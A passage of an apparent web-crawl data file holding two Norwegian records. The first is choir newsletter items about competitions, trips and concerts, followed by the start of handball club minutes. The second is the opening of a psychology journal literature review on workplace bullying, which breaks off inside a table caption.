anelse nerver. Underveis i konkurranseprogrammet fikk vi spontanapplaus 2 ganger\\! Programmet v\u00e5rt bestod for \u00f8vrig av \u00c6re v\u00e6re Gud i det h\u00f8yeste (krav om unison sang fra eget lands liturgi), Tribus Miraculis (pliktnummer), Hear my prayer o Lord av Henry Purcell og Kan du se Gud fader? av Egil Hovland. Etter konkurransen var vi str\u00e5lende forn\u00f8yd og var spente p\u00e5 \u00e5 h\u00f8re de andre korene i v\u00e5r klasse, Tirsdag hadde vi en fridag fram til ettermiddags\u00f8ving og konsert i den samme kirken. Programmet denne kvelden var Hilsen Seim Songkor litt annerledes enn p\u00e5 konkurransen, og vi sang bl.a. Psalm 100 av Mendelsohn-Bartholdy. Sistnevnte fikk sangere i det tyske koret til \u00e5 ta til t\u00e5rene vi f\u00e5r tro (eller vi vet )det var fordi de likte framf\u00f8ringen v\u00e5r. Onsdag var dagen da vi skulle f\u00e5 vite resultatet fra konkurransene,og festivalen ble avsluttet med Grand Prize Competition og premieutdeling. Det var utrolig mange dyktige og store kor i denne delen av konkurransen, og vinneren av b\u00e5de klasse A, sakral klasse (som var den vi deltok i ), publikumspris og Grand Prize ble et kor fra Bonn: Vox Bona Kammerchor der Kreuzkirche Bonn. De fikk for \u00f8vrig 23,86 poeng, og Seim Songkor fikk 20,56 poeng. Men 20,56 poeng er GULLDIPLOM\\!\\!\\! Gjett om vi var forn\u00f8yd\\! I tillegg til mange gode opplevelser knyttet til egne framf\u00f8ringer og ikke minst andre kor sine framf\u00f8ringer s\u00e5 fikk deltakerne med seg ulike opplevelser: tur til Bastionen og Santa Barbarakirken 610 m over Riva, noen tok b\u00e5ttur til Limone og Malcesine, og andre koste seg i Riva med hyggelige utesteder og butikker. Ser man bort i fra maten p\u00e5 hotellet s\u00e5 er det ikke noe vi ville ha forandret p\u00e5 i etterkant. Koret har hatt en fantastisk tur, og takker Asbj\u00f8rn Stige hos Sabra Tours for en super jobb med \u00e5 holde orden p\u00e5 timeplanen v\u00e5r og p\u00e5 oss. Vi gleder oss allerede til neste tur Loddefjord Sangforening til Krakow mai 2012 reiser Loddefjord Sangforening til Krakow i Polen sammen med v\u00e5r dirigent Janicke Damm Rusti og pianist Erik Persen. Bes\u00f8k i Wieliczka Saltgruver og Auschwitz-Birkenau er noe av planene for turen. Koret skal ha konsert i en av byens kirker, og en minikonsert i Saltgruvene. Programmet inneholder et variert repertoar innen religi\u00f8se sanger, salmer og folketoner, og lettere sanger p\u00e5 svensk, engelsk og norsk. I forkant av turen har vi hatt et innholdsrikt seminar p\u00e5 Lune Huler i Lind\u00e5s, i mars. Elin Hestenes og Janicke Damm Rusti var inspirerende og dyktige instrukt\u00f8rer. Alle ser frem til korturen til Polen sammen med gode sangervenner. Tidligere har koret v\u00e6rt i Irland, Skottland, Tsjekkia og Frankrike. Konsentrerte basser og tenorer,fra seminar i mars. 11\n\n\n\n12 KORPROSJEKT KORIADEN 2011 p\u00e5 Seim i Nordhordland ble en suksess i november\\! 9 kor med totalt ca 200 sangere deltok p\u00e5 arrangementet som begynte kl og som varte til ut p\u00e5 natten. I l\u00f8pet av mai m\u00e5ned vil det igjen g\u00e5 ut informasjon til kor i Nordhordland og omegn om KORIADEN 2012 som g\u00e5r av stabelen l\u00f8rdag 20.oktober. KORIADEN er en uh\u00f8ytidelig korkonkurranse for kor i Nordhordland og omegn der korene selv bestemmer repertoar, antrekk, regi,\u00bb dommerpleie\u00bb m.m. Konkurransen er ellers som andre korkonkurranser: innsending av repertoar, lydpr\u00f8ver, konkurranse som er \u00e5pen for publikum, kvalifisert dommerpanel, dommerkommentarer og premieutdeling i forbindelse med festmiddag. Det deles ut priser for 1.,2, og 3.plass i tillegg til publikumspris, spesialpris og Vandrenoten. Alle kor f\u00e5r diplom p\u00e5f\u00f8rt poeng og bronse-,,s\u00f8lv- eller gulldiplom. KORIADEN blir arrangert av Seim Songkor p\u00e5 Seim og vi gleder oss allerede til \u00e5rets arrangement F\u00f8lg med p\u00e5 Facebook der finner du b\u00e5de koret og KORIADEN\\! Hilsen Seim Songkor PS\\! VI \u00d8NSKER OSS NYE MEDLEMMER TA GJERNE KONTAKT OM DU HAR LYST TIL \u00c5 V\u00c6RE MED OSS\\! Vi har medlemmer fra Nordhordland og Bergen. Jon Aadland forteller; Ukens h\u00f8ydepunkt - kor\u00f8ving Ukens h\u00f8ydepunkt for oss som synger i Bergenskoret Sola Fide (Solafide.no) er hver torsdag kl Da er det kor\u00f8ving i S\u00f8reide kirke. Alle 40 sangerne vet at n\u00e5 skal vi ha det veldig kjekt i to og en halv time. For tiden \u00f8ves det inn mange nye sanger- og entusiasmen lyser. Vi pr\u00f8ver \u00e5 starte presis, - og en del m\u00e5 nesten roes litt ned slik at Janicke (Damm Rusti) kommer til ordet og kan begynne oppvarmingen. Etter CD-slippet av Sola Fide sin 3 CD ( Til stede ) h\u00f8sten 2011 har koret v\u00e6rt aktivt. I oktober 2011 var koret p\u00e5 en ukes konsert-turne til Spania (bildet) og sang i en rekke norske sj\u00f8mannskirker. Dette var veldig kjekt b\u00e5de for publikum og sangere. I tillegg var det skyfri himmel alle dager, med fin sommertemperatur. Ellers har det v\u00e6rt sunget p\u00e5 flere gudstjenester, radiogudstjeneste, sang i institusjon, korforbundets storkonsert i Grieghallen, Sola Fides 3 julekonserter, og sunget p\u00e5 direktesendig i studioet til NRK Hordaland. For oss i Sola Fide oppleves det som stort n\u00e5r en av sangene p\u00e5 CD-en spilles p\u00e5 radio. N\u00e5 ser vi fram til v\u00e5ren/sommeren hvor vi deltar p\u00e5 mange arrangementer. - Den 22.mai skal det v\u00e6re Festspill p\u00e5 S\u00f8reide i kirken, - i anledning festspillene i Bergen skal vi synge ute i det fri 2. juni i Bergen sentrum, juni skal vi delta i korkonkurransen Syng for oss i Grieghallen i to klasser: A+ og Pop juni kl 19 holder Sola Fide sin \u00e5rlige sommerkonsert, i \u00e5r i nye Ytrebygda N\u00e6rkirke i Blomsterdalen med et allsidig og friskt repetoar med b\u00e5de kjente og kj\u00e6re yndlingssanger og nye spesialarrangerte sanger. Det skal v\u00e6re fin akustikk i kirkerommet og vi gleder oss. Sommerkorskolen arrangeres \u00e5rlig av Norges korforbund i uke 30 p\u00e5 Toneheim folkeh\u00f8gskole p\u00e5 Hamar. Det er en hel uke med sang og musikk fra tidlige morgen til man legger seg, for n\u00e6rmere 150 kor-entusiaster, - med dyktige/engasjerte instrukt\u00f8rer og stort faglig og sosialt utbytte. I fjor var det 10 personer fra Sola Fide p\u00e5 Sommerkorskolen. Vi p\u00e5 Hordalandsbenken kan garantere alle som deltar f\u00e5r en veldig fin uke. Man lever i en musikalsk boble hele uken, - og det er kjempeg\u00f8y. Til h\u00f8sten skal Sola Fide blant annet p\u00e5 konsert-turne med flere andre kor, delta p\u00e5 kulturuke, og avslutte med den siste av sine 3 julekonserter i Bergen domkirke 20. desember kl 20. Sola Fide p\u00e5 konsert-turne til sj\u00f8mannskirkene i Spania okt Sol og sommer hele uken. Bildet tatt av Trygve Hauk\u00e5s Dom som er sura synger inte For noen \u00e5r siden var BKK sitt bedriftskor, BKK-koret, p\u00e5 kortur til Hansadagene i Riga i Latvia. Vi hadde en svensktalende guide og det var h\u00f8y stemning p\u00e5 bussen (noe det ofte er p\u00e5 korturer). Guiden uttrykte f\u00f8lgende visdomsord som korsangere kan trykke til sitt bryst: Det er s\u00e5 trevligt at guida k\u00f8r, - du skj\u00f8nar dom som er sura synger inte Jon Aadland BKK-koret p\u00e5 Hansadagene i Kaunas i Lithauen i Vi synger \"Liddeli galen, liddelig god\" Bildet er tatt av Birte H\u00f8gelid 12\n\n\n\n13 Laksev\u00e5g Blandet Kor g\u00e5r tilbake til 60-tallet Popcorn er navnet p\u00e5 prosjektet best\u00e5ende av sanger fra 60-tallet, som LBK har jobbet med det siste \u00e5ret. Som ny dirigent i koret h\u00f8sten 2010, syntes jeg det var spennende \u00e5 sette litt av mitt preg p\u00e5 repertoaret samt \u00e5 f\u00f8re koristene en smule ut av komfortsonen med en type sanger som de ikke har sunget mye av. Ettersom en god del av medlemmene har v\u00e6rt unge p\u00e5 60-tallet, var det relativt enkelt \u00e5 velge sjanger. Her florerer det av kjente og kj\u00e6re hits som f.eks Summer holiday, Ferry cross the Mersey, Stakkars store sterke karer, Ticket to ride osv. Det finnes dessverre f\u00e5 korarrangement i denne sjangeren, derfor har dirigenten laget de fleste selv. Vi henter flere solister fra v\u00e5rt eget kor, og vi har med oss profesjonelle musikere til \u00e5 akkompagnere oss: pianist, gitarist og bassist (Carsten Dyngeland m/venner). Vi har ogs\u00e5 f\u00e5tt med oss \u00d8yvind Offerdal som konferansier. Egne arbeidsgrupper er satt sammen bl.a. for \u00e5 skaffe til veie rekvisitter fra tidsepoken til utstilling i konsertlokalet slik at publikum skal komme i den rette stemningen, og kostymegruppen s\u00f8rger for tidsriktige kl\u00e6r til koret. Prosjektet skal ende opp i en forestilling 27. oktober i Losjelokalene i Krabbedalen. Vi h\u00e5per riktig mange publikummere vil finne veien til Krabbedalen denne oktoberkvelden og de f\u00e5r se LBK fra en hel ny side\\! Turid V\u00e5ge Dirigent Klipp fra \u00c5sane Tidende; 13\n\n\n\n14 PROSJEKTKOR NK VEST I \u00e5rets prosjekt i Vest tas du med p\u00e5 en musikalsk reise mot v\u00e5r nabo, den gr\u00f8nne \u00f8ya Irland. Du f\u00e5r smake p\u00e5 det friske, men melankolske irske tonespr\u00e5ket, s\u00e5 beslektet med v\u00e5rt eget at vi nesten kaller det for v\u00e5rt. Vi inviterer sangere fra hele Norges Korforbund Region Vest til \u00e5 delta p\u00e5 en storm\u00f8nstring i Grieghallen november 2012, til en konsert i vestlandets herlige storstue med plass til 1500 publikummere. I \u00e5r har vi valgt Christine Guldbrandsen som solist og vi f\u00e5r h\u00f8re henne i en egen avdeling. Dag Arnesen er kapellmester sammen med lokale musikere. Lokale \u00f8vingshelger: \u00c5sane Folkeh\u00f8gskole, Bergen: Sl\u00e5tten Skule, F\u00f8rde: oktober oktober J\u00e6ren Folkeh\u00f8gskole, Rogaland: oktober Sk\u00e5redalen Skole, Haugalandet: november Detaljert informasjon og p\u00e5melding: Pris for \u00f8vingshelger, noter og \u00f8vingsfiler: kr 900,- for medlemmer og kr 1200,- for ikke medlemmer av Norges Korforbund. Velkommen kj\u00e6re korsangere I NK Vest,til storm\u00f8nstring av et vakkert og musikalsk felles mangfold\\! 14\n\n\n\n\n Referat fra m\u00f8te i h\u00e5ndballgruppa 25.02.2015. Trenere, lagledere og styret var innkalt til m\u00f8te. Tilstede: Sissel Romundset, Helen Romundset, Randi Stormyr, Ina Ulfsnes, Rolf Terje Ulfsnes, Ingeborg Dyrnes,\n\n", "language": "no", "__index_level_0__": "924b07ad-c013-4854-b196-d66ac6dc4e1f"}
{"url": "http://www.psykologtidsskriftet.no/index.php?seks_id=41589&a=3", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:15:36Z", "text": "Mobbing i arbeidslivet har ofte store konsekvenser for dem som rammes. I denne artikkelen gis en oversikt over viktige forskningsresultater p\u00e5 dets natur, prevalens, \u00e5rsaker og konsekvenser.\n\n# Mobbing i arbeidslivet: En litteraturoversikt\n\nMobbing i arbeidslivet har ofte store konsekvenser for dem som rammes. I denne artikkelen gis en oversikt over viktige forskningsresultater p\u00e5 dets natur, prevalens, \u00e5rsaker og konsekvenser.\n\nDav\u00e6rende statsminister Kjell Magne Bondevik lanserte i sin nytt\u00e5rstale i 2004 en kampanje mot mobbing p\u00e5 norske arbeidsplasser som en del av avtalen om det inkluderende arbeidsliv. Bondeviks tale f\u00f8rte til at partene i arbeidslivet igangsatte en nasjonal satsing mot mobbing i perioden 2005\u20132007 med tilnavnet \u00abJobbing uten Mobbing\u00bb (se www.jobbingutenmobbing.no; Einarsen, Hoel & Nielsen, 2005). I 2006 tr\u00e5dte en ny arbeidsmilj\u00f8lov i kraft i Norge. Her uttrykkes i klartekst ikke bare forbudet mot trakassering og krenkelse av ansattes integritet og verdighet, men ogs\u00e5 et forbud mot \u00e5 tie dersom man er vitne til eller f\u00e5r kjennskap til trakassering. Mobbing er derfor noe alle virksomheter og alle norske arbeidstakere m\u00e5 v\u00e6re forberedt p\u00e5 \u00e5 h\u00e5ndtere og forebygge. En rekke studier har ogs\u00e5 vist at mobbing i arbeidslivet er utbredt, og med store konsekvenser for b\u00e5de virksomheter og enkeltpersoner. P\u00e5 denne bakgrunnen er organisasjonspsykologisk forskning p\u00e5 dette feltet b\u00e5de en faglig n\u00f8dvendighet og en etisk forpliktelse.\n\nSelv om fenomenet \u00abmobbing i arbeidslivet\u00bb har v\u00e6rt gjenstand for oppmerksomhet b\u00e5de i media, blant forskere og blant arbeidsmilj\u00f8spesialister helt siden slutten av 1980-tallet (se for eksempel Kile, 1990b), var det f\u00f8rst p\u00e5 slutten av 1990-tallet at fenomenet fikk s\u00e6rlig oppmerksomhet i internasjonal forskning (Einarsen, Hoel, Zapf & Cooper, 2003; Hoel, Rayner & Cooper, 1999). I Norge startet imidlertid forskningen tidlig (Einarsen & Raknes, 1991; Kile, 1990b; Matthiesen, Raknes & R\u00f8kkum, 1989), og Norge har p\u00e5 dette omr\u00e5det v\u00e6rt blant foregangslandene (Hoel, Zapf & Cooper, 2002). I det f\u00f8lgende gis en beskrivelse av mobbing p\u00e5 arbeidsplassen som fenomen og begrep. Videre presenteres resultater fra viktige studier som har pr\u00f8vd \u00e5 finne \u00e5rsakene til mobbing, samt hvilke konsekvenser mobbing kan ha for dem som rammes.\n\n## Hva er mobbing?\n\n### Gjentatte negative handlinger\n\nMobbing i arbeidslivet dreier seg om situasjoner p\u00e5 arbeidsplassen der en person over lengre tid f\u00f8ler seg utsatt for negativ behandling av en eller flere andre personer p\u00e5 en slik m\u00e5te at han eller hun ikke klarer \u00e5 forsvare seg mot disse handlingene (Bj\u00f6rkqvist, \u00d6sterman & Hjeltb\u00e4ck, 1994; Einarsen, Raknes, Matthiesen & Helles\u00f8y, 1994). Begrepene mobbing og negative handlinger er ikke inkludert i arbeidsmilj\u00f8loven, men dekkes av begreper som \u00abtrakassering, \u00abuheldig psykisk belastning\u00bb, \u00abkrenkelse av integritet og verdighet\u00bb og \u00abutilb\u00f8rlig opptreden\u00bb (se ogs\u00e5 Pedersen & Einarsen, 2007). I tillegg p\u00e5peker loven at bed\u00f8mmelsen av en gitt situasjon b\u00e5de kan bygge p\u00e5 en vurdering av en gitt enkeltst\u00e5ende handling og av en samlet vurdering av hva en arbeidstaker har v\u00e6rt utsatt for. Begrepet mobbing i psykologiske forstand dreier seg imidlertid ikke om en enkeltst\u00e5ende episode p\u00e5 jobben, men om en vedvarende situasjon der utilb\u00f8rlige eller krenkende handlinger rettes mot ett eller flere individer som, reelt eller opplevd, ikke kan forsvare seg mot disse handlingene (Einarsen, 1999). Mobbebegrepet er dermed nyttig for \u00e5 vise at handlinger som kan v\u00e6re b\u00e5de subtile og for den slags skyld alminnelig forkommende, kan oppleves som dypt krenkende dersom de utf\u00f8res mange nok ganger over tid. En studie blant mobbeofre og en kontrollgruppe viste for eksempel ingen forskjell i hvilken type handlinger de to gruppene hadde opplevd p\u00e5 jobben. Forskjellen besto i at mobbeofrene opplevde mange slike negative handlinger, og at de forekom daglig eller ukentlig. Kontrollgruppen opplevde f\u00e6rre handlinger, samtidig som hyppigheten av handlingene var betraktelig lavere (Mikkelsen & Einarsen, 2002). Selv om enkeltst\u00e5ende handlinger ogs\u00e5 kan oppleves som s\u00e6rdeles krenkende, viser forskning at gjentatte lavintense verbale handlinger kan ha vel s\u00e5 stor effekt som mer alvorlige, men enkeltst\u00e5ende aggressive handlinger (Neuman & Baron, 1997). I en studie blant 450 mannlige norske industriarbeidere hadde hele 88 prosent opplevd minst \u00e9n negativ handling typisk for mobbing i l\u00f8pet av det siste halv\u00e5ret (Einarsen & Raknes, 1997). Noen hadde f\u00f8lt seg latterliggjort, noen rapporterte \u00e5 ha blitt urettferdig kritisert, mens andre erfarte at noen hadde satt ut rykter om dem. Det viste seg imidlertid at de som systematisk opplevde \u00e5 bli utsatt for slike handlinger, var klart mer plaget av psykiske problemer og hadde langt lavere jobbtilfredshet enn dem som kun ble utsatt for slike handlinger en gang iblant.\n\n### Handlinger av ulik karakter\n\nMobbing kan bli utf\u00f8rt p\u00e5 mange m\u00e5ter (Glas\u00f8, Nielsen & Einarsen, 2007). Med *direkte* mobbing refereres det til aggressive handlinger som utf\u00f8res direkte overfor offeret, slik som utskjelling, fleiping, trusler eller underkjennelse av faglig innsats og kvalifikasjoner. *Indirekte* mobbing inneb\u00e6rer utfrysing og sosial isolering eller det \u00e5 la v\u00e6re \u00e5 gi informasjon, ta kontakt osv. I sistnevnte tilfeller dreier det seg ofte om \u00abikke-handlinger\u00bb, dvs. at man unnlater \u00e5 gj\u00f8re noe man ellers ville ha gjort. Videre skilles det mellom arbeidsrelaterte og personrelaterte handlinger (Einarsen & Hoel, 2001). *Arbeidsrelaterte handlinger* dreier seg om handlinger som gjennom \u00e5 endre personens arbeidssituasjon kan sies \u00e5 v\u00e6re utilb\u00f8rlige eller krenkende. Eksempler p\u00e5 slike handlinger er \u00e5 gi urimelige tidsfrister, overdreven kontroll av arbeidet, \u00e5 frata noen deres naturlige arbeidsoppgaver eller \u00e5 tildele meningsl\u00f8se arbeidsoppgaver. Slike handlinger er det selvsagt lettere for ledere enn for medarbeidere \u00e5 utf\u00f8re. *Personrelaterte handlinger* er krenkende og utilb\u00f8rlige handlinger rettet mot offeret som person, s\u00e5 som ryktespredning, baksnakking, neglisjering av meninger, fleiping/erting og u\u00f8nskede seksuelle tiln\u00e6rmelser. I en unders\u00f8kelse blant 138 norske mobbeofre fant Einarsen og kolleger (1994) tre hovedgrupper mobbehandlinger ut fra hvordan ofrene selv mente at de ble mobbet: 1) sosial og/eller organisatorisk utst\u00f8telse, 2) urettmessige beskyldninger om d\u00e5rlig utf\u00f8rt arbeid og 3) s\u00e5rende erting, fleiping og latterliggj\u00f8ring. Person- og arbeidsrelaterte handlinger kan igjen v\u00e6re b\u00e5de av en direkte og en indirekte natur. Et nyttig begrepsapparat her kan ogs\u00e5 v\u00e6re Buss sin (Buss, 1961) klassifisering av aggressiv atferd, der en gitt handling kan klassifiseres til \u00e5 v\u00e6re henholdsvis verbal eller fysisk, aktiv eller passive, og direkte eller indirekte.\n\n### Ubalanse i styrkeforholdet\n\nEn\u00a0 person som utsettes for negative handlinger, vil kunne oppleve seg mobbet i den grad vedkommende opplever handlingene som fiendtlige, ubehagelige eller nedverdigende (Niedl, 1996). Offerets manglende evne til \u00e5 forsvare seg i den aktuelle situasjon eller relasjon er likevel kanskje en like viktig dimensjon i definisjonen av mobbing. En ubalanse i styrkeforholdet mellom partene kan v\u00e6re gitt i utgangspunktet ut fra organisatoriske, \u00f8konomiske, sosiale, fysiske eller personlige forhold. Ubalanse i styrkeforholdet mellom to parter kan ogs\u00e5 v\u00e6re noe som utvikles underveis i en konflikt, for eksempel ved at den ene parten vinner omgivelsenes st\u00f8tte. \u00c5 v\u00e6re i en hard personkonflikt kan tappe en for krefter slik at man til slutt f\u00f8ler at man ikke klarer \u00e5 st\u00e5 imot angrepene (Einarsen, Raknes, Matthiesen et al., 1994). Mobbing retter seg ogs\u00e5 ofte direkte mot svakheter i offerets personlige v\u00e6rem\u00e5te, som dermed blir \u00abtatt\u00bb p\u00e5 sine svake punkter. P\u00e5 denne m\u00e5ten kan offer for mobbing rammes med svake hentydninger og p\u00e5 en slik subtil m\u00e5te at andre som observerer det som foreg\u00e5r, ikke n\u00f8dvendigvis forst\u00e5r hvor ubehaglig det f\u00f8les.\n\n### Subjektive og objektive forhold\n\nVi kan ogs\u00e5 skille mellom *subjektiv* og *objektiv* mobbing (Einarsen, 1996). Subjektivt vil man kunne ha ulike oppfatninger av n\u00e5r en mobbesituasjon foreligger. If\u00f8lge Einarsen og medarbeidere (2005) dreier subjektiv mobbing seg om situasjoner hvor en person selv opplever eller f\u00f8ler seg som offer for andres systematiske aggresjon. Begrepet objektiv mobbing refererer derimot til situasjoner hvor det er ytre beviser for mobbingen, ved for eksempel at kolleger bekrefter at offeret mobbes, eller ved at annen dokumentasjon foreligger (se ogs\u00e5 Brodsky, 1976; Pedersen & Einarsen, 2007 for en n\u00e6rmere dr\u00f8fting). I psykologisk forstand vil man kunne argumentere for at det subjektive elementet m\u00e5 st\u00e5 sterkt, og at dette er tilstrekkelig til at en arbeidsgiver iverksetter tiltak for \u00e5 unders\u00f8ke saken n\u00e6rmere. Arbeidsmilj\u00f8loven tillegger det subjektive stor vekt, ved at dette er et naturlig utgangspunkt for \u00e5 vurdere om noe ogs\u00e5 rent *faktisk* har forekommet, og hvorvidt det som faktisk har skjeddd i saken, m\u00e5 ansees som uheldig eller som en p\u00e5regnelig del av arbeidsforholdet. I den grad en opplevelse av \u00e5 v\u00e6re mobbet etterf\u00f8lges av konkrete beskyldninger mot andre i virksomheten og dermed er noe som kan inneb\u00e6re forf\u00f8yelser overfor en p\u00e5st\u00e5tt overgriper, kreves det selvsagt en grundig utredning av den faktiske situasjon, slik at man unng\u00e5r at noen uforskyldt kan bli anklaget for mobbing. I forhold til utredning av mobbesaker er det i England utviklet metodikk som til n\u00e5 har v\u00e6rt lite kjent og brukt i Norge, men som i 2007 lanseres under benevnelsen \u00abFakta-unders\u00f8kelse\u00bb (se ogs\u00e5 Einarsen & Hoel, 2007; Einarsen & Pedersen, 2007; Merchant & Hoel, 2003). Faktaunders\u00f8kelse er en metode for \u00e5 granske p\u00e5stander om mobbing med tanke p\u00e5 \u00e5 konkludere p\u00e5 om mobbing faktisk har forekommet eller ikke. Metoden kan utf\u00f8res av interne eller eksterne personer. Utgangspunktet er imidlertid at en person f\u00f8ler seg mobbet av en annen. Alts\u00e5 er subjektiv mobbing en forutsetning for \u00e5 vurdere om det ogs\u00e5 foreligger objektiv mobbing.\n\nI juridisk forstand er sp\u00f8rsm\u00e5let om mobbing har foreg\u00e5tt eller ikke, komplisert gjennom at noen urettmessig kan anklage andre for mobbing, og dermed sette den anklagede i en uheldig situasjon. I en alvorlig personkonflikt kan man ikke se bort fra at partene tyr til l\u00f8gn eller urettmessige beskyldninger for \u00e5 ramme en motpart man misliker sterkt. Noen ganger hender det ogs\u00e5 at arbeidstakere ikke finner seg i handlinger som andre vil hevde er noe man strengt tatt m\u00e5 kunne regne med *som p\u00e5regnelig* i et arbeidsforhold. I alle situasjoner der noen opplever \u00e5 bli krenket, provosert eller forarget av en annen part, m\u00e5 man regne med at de to partene har helt ulike subjektive oppfatninger av hendelsesforl\u00f8pet (Baumeister, Stillwell & Wotman, 1990). Sp\u00f8rsm\u00e5let blir da om alt som oppleves som negativt, som gjentas og som man opplever seg underlegen i forhold til, kan kalles mobbing. I juridisk forstand vil svaret avhenge av hvorvidt de faktiske handlingene vurderes som *p\u00e5regnelige* eller *uheldige* (Pedersen & Einarsen, 2007). P\u00e5regnelighet dreier seg om hvorvidt det som forekommer, er en belastning som enhver arbeidstaker p\u00e5 det aktuelle tidspunkt m\u00e5 kunne regne med \u00e5 oppleve, og m\u00e5 t\u00e5le i sitt arbeidsforhold. I USA benyttes for eksempel begrepet \u00abreasonable women standard\u00bb i forbindelse med vurderingen av saker som ang\u00e5r seksuell trakassering. I Sverige brukes ogs\u00e5 begrepet \u00abkrenkende s\u00e6rbehandling\u00bb n\u00e5r det er tale om mobbing. Det essensielle ved mobbebegrepet er dermed at atferden er negativ og u\u00f8nsket, at ofrene faktisk utsettes for gjentatte og vedvarende krenkelser, og at de faktiske handlingene en utsettes for, ikke kan sies \u00e5 v\u00e6re en p\u00e5regnelig del av det \u00e5 v\u00e6re i et arbeidsforhold (Pedersen & Einarsen, 2007).\n\n## Forekomst av mobbing\n\nDe f\u00f8rste studiene av forekomst av mobbing i norsk arbeidsliv ble utf\u00f8rt tidlig p\u00e5 1990-tallet og viste at rundt ni\u00a0prosent av norske arbeidstakere opplevde seg mobbet p\u00e5 jobben i l\u00f8pet av siste 6 m\u00e5neder (Einarsen & Raknes, 1991; Einarsen, Raknes, Matthiesen et al., 1994; Einarsen & Skogstad, 1996). Nyere unders\u00f8kelser viser imidlertid at forekomst av selvrapportert mobbing er nesten halvert siden den gang. I en landsrepresentativ unders\u00f8kelse fra 2005 oppga 4,5\u00a0% av arbeidsstokken at de opplevde seg mobbet p\u00e5 jobben (Einarsen et al., 2007), noe som er p\u00e5 linje med funn i andre skandinaviske land, men samtidig en betydelig lavere andel enn det man har funnet i mange andre land (se Zapf, Einarsen, Hoel & Vartia, 2003). Studien fra 2005 konkluderte imidlertid med at det finnes en klar underrapportering i slike m\u00e5l p\u00e5 selvrapporterte mobbing, da mange flere arbeidstakere rapporterte systematisk eksponering for en rekke spesifikke mobbehandlinger kombinert med meget lav jobbtilfredshet. Studien konkluderer derfor med at den reelle forekomsten av mobbing kan ligge opp mot ni prosent (Einarsen et al., 2007). Samme studie viste at rundt 13\u00a0% mente de hadde observert mobbing p\u00e5 egen arbeidsplass, et tall som ogs\u00e5 er redusert fra tidligere studier, hvor det ble funnet at rundt 17 prosent rapporterte at de hadde observert mobbing p\u00e5 sin arbeidsplass (Einarsen & Raknes, 1991).\n\nMobbing er ogs\u00e5 et problem for de som observerer dette. I en unders\u00f8kelse blant 2200 norske arbeidstakere gjennomf\u00f8rt tidlig p\u00e5 1990-tallet ble det funnet at 14 prosent opplevde mobbing av andre som en daglig belastning, mens hele 21 prosent hevdet at mobbing p\u00e5 deres arbeidsplass reduserte deres jobbtrivsel. Ogs\u00e5 utenlandske studier har vist at observat\u00f8rer av mobbing p\u00e5 arbeidsplassen mistrives og har flere stressrelaterte plager enn andre arbeidstakere (Vartia-V\u00e4\u00e4n\u00e4nen, 2003).\n\nMobbing rammer b\u00e5de menn og kvinner, unge og eldre, og b\u00e5de ledere og medarbeidere. Det forekommer ogs\u00e5 i alle bransjer og yrkesgrupper (Einarsen et al., 2007). En representativ studie blant 6485 norske hjelpepleiere og sosialarbeidere viste imidlertid at rundt 2,5 ganger s\u00e5 mange menn som kvinner i denne yrkesgruppen opplevde seg mobbet, etter \u00e5 ha kontrollert for en rekke bakgrunnsvariabler. Mens rundt 10,2 prosent av mennene f\u00f8lte seg mobbet p\u00e5 jobben, var det tilsvarende tallet for kvinner 4,8 prosent (Eriksen & Einarsen, 2004). Da menn i disse yrkesgruppene utgjorde kun 3 prosent av arbeidstakerne, kan dette funnet indikere at det \u00e5 v\u00e6re i en relativ minoritetsgruppe er en s\u00e6rlig risikofaktor for \u00e5 bli mobbet. I en lang rekke bransjer der det finnes klare minoritets- og majoritetsgrupper, vil derfor noen ansatte kunne ha en s\u00e6rlig risiko for \u00e5 oppleve mobbing. Det er her i s\u00e5 fall tale om en interaksjon mellom bransje/virksomhet og andre faktorer, der \u00abminoritet\u00bb er noe som defineres ut fra avviket fra majoriteten mer enn som en faktor som i seg selv predisponerer en for mobbing. Ellers viser det seg at de mest langvarige og alvorlige sakene har en tendens til \u00e5 komme fra virksomheter innenfor helse, skole eller administrasjon (Einarsen, Raknes, Matthiesen et al., 1994), noe som kan indikere at slike typer virksomheter lar saker p\u00e5g\u00e5 lenger f\u00f8r de kommer til en konklusjon, enn man gj\u00f8r i andre typer virksomheter.\n\n## Mobbing som prosess\n\nB\u00e5de intervjustudier og sp\u00f8rreskjemaunders\u00f8kelser indikerer at mobbing er en gradvis utviklende prosess (Matthiesen et al., 1989). De som rapporterer langvarig mobbing, oppgir for eksempel eksponering for hyppigere og mer alvorlige handlinger enn personer som er mobbet i en kortere periode (Einarsen & Skogstad, 1996). Mange ofre opplever ogs\u00e5 at problemene gradvis intensiveres ved at angrepene blir hyppigere og mer intense, ved at stadig flere kolleger deltar i det som skjer, eller ved at kolleger p\u00e5 annen m\u00e5te \u00abvender dem ryggen\u00bb (Einarsen, Raknes, Matthiesen et al., 1994). Mobbingen starter gjerne med indirekte og subtile handlinger som det kan v\u00e6re vanskelig \u00e5 identifisere og konfrontere (Einarsen, Raknes, Matthiesen et al., 1994; Matthiesen, Aasen, Holst, Wie & Einarsen, 2003). Deretter f\u00f8lger gjerne mer direkte negativ atferd hvor offeret kan oppleve seg ydmyket, latterliggjort og isolert. Selv om fysisk vold eller trusler om dette forekommer sjelden i mobbesaker (Einarsen & Raknes, 1997), kan slike handlinger kunne forekomme i sene faser.\n\nFlere studier viser at det ikke er enkelt \u00e5 skille mellom offer og ikke-offer (Einarsen et al., 2007), og at mobbing derfor m\u00e5 sees p\u00e5 et kontinuum fra \u00aboverhodet ikke mobbet\u00bb til \u00abalvorlig mobbet\u00bb (Matthiesen et al., 1989). I en studie utf\u00f8rt ved hjelp av Latent class cluster analysis p\u00e5 data fra 6175 belgiske arbeidstakere, viste Notelaers, Einarsen, DeWitte og Vermunt (2006) at i forhold til eksponering for negative handlinger kunne respondentene ikke reduseres til to grupper der man enten var utsatt eller ikke utsatt for mobbing. Analysene identifiserte derimot seks hovedgrupper med distinkt ulik rapportering p\u00e5 eksponering for mobbehandlinger (se tabell 1). Skalaen som ble brukt, var en 18 ledds versjon av sp\u00f8rreskjemaet Negative Acts Questionnaire, som m\u00e5ler eksponering for spesifikke negative handlinger uten at begrepet mobbing benyttes i noen av leddene (se ogs\u00e5 Nielsen & Einarsen, 2007).\n\n| **Tabell 1**.\u00a0Resultatene fra en latent cluster-analyse i et datamateriale med 6145 belgiske arbeidstakere som hadde svart p\u00e5 sp\u00f8rsm\u00e5l om eksponering for til sammen 18 ulike negative handlinger typisk for mobbing (Notelaers, Einarsen, DeWitte, Vermunt, 2006). Analysen viser st\u00f8rrelsen p\u00e5 